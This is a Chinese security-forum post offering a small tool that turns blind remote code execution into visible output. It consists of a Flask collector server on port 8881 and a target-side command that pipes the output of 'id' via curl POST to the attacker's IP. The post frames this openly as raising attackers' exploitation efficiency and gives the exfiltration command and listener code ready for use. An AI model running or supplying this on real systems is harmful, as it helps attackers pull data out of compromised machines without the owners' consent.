安全矩阵

 找回密码
 立即注册
搜索
查看: 1111|回复: 0

工具 | 无回显变可回显rce

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 22:28:19 | 显示全部楼层 |阅读模式
1.漏洞背景
     在网络安全领域,远程代码执行(RCE)漏洞始终是一个引人关注的话题。这类漏洞允许攻击者在目标系统上执行任意代码,往往会带来严重的安全后果。其中,无回显RCE是特别难以诊断和利用的一种情况,因为攻击者无法直接看到他们执行命令的结果。

通过此方法将这种无回显的漏洞转变为可回显,这意味着攻击者可以直接观察到他们的操作结果。这一转变大大提高了这类漏洞的利用效率和潜在影响。

使用方法:

1. 服务端安装python,执行pip install flask。

2. 运行server.py



3. 访问公网域名+8881查看是否开启。



4. 靶机执行命令:
  1. <p>id | curl -X POST -d @- http://ip:8881/</p>
复制代码

查看回显。




ps:回显前提是靶机出网。

关键代码展示:
  1. <p>from flask import Flask, request, render_template</p><p>
  2. </p><p>app = Flask(__name__)</p><p>
  3. </p><p># 设置一个文件来保存数据</p><p>DATA_FILE = 'data.txt'</p><p>
  4. </p><p>@app.route('/', methods=['GET', 'POST'])</p><p>def execute():</p><p>    if request.method == 'POST':</p><p>        # 从 POST 请求中读取数据并保存到文件</p><p>        with open(DATA_FILE, 'w') as file:</p><p>            file.write(request.get_data(as_text=True))</p><p>
  5. </p><p>    # 从文件中读取数据</p><p>    data = ''</p><p>    try:</p><p>        with open(DATA_FILE, 'r') as file:</p><p>            data = file.read()</p><p>    except FileNotFoundError:</p><p>        # 如果文件不存在,则忽略错误</p><p>        pass</p><p>
  6. </p><p>    # 打印接收到的数据到控制台</p><p>    print("Received data:", data)</p><p>    res = "结果为:" + data</p><p>
  7. </p><p>    # 返回一个包含接收到的数据的 HTML 页面</p><p>    return render_template('result.html', received_data=res)</p><p>
  8. </p><p>if __name__ == '__main__':</p><p>    app.run(host='0.0.0.0', port=8881)</p><div></div>
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:38 , Processed in 0.012648 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表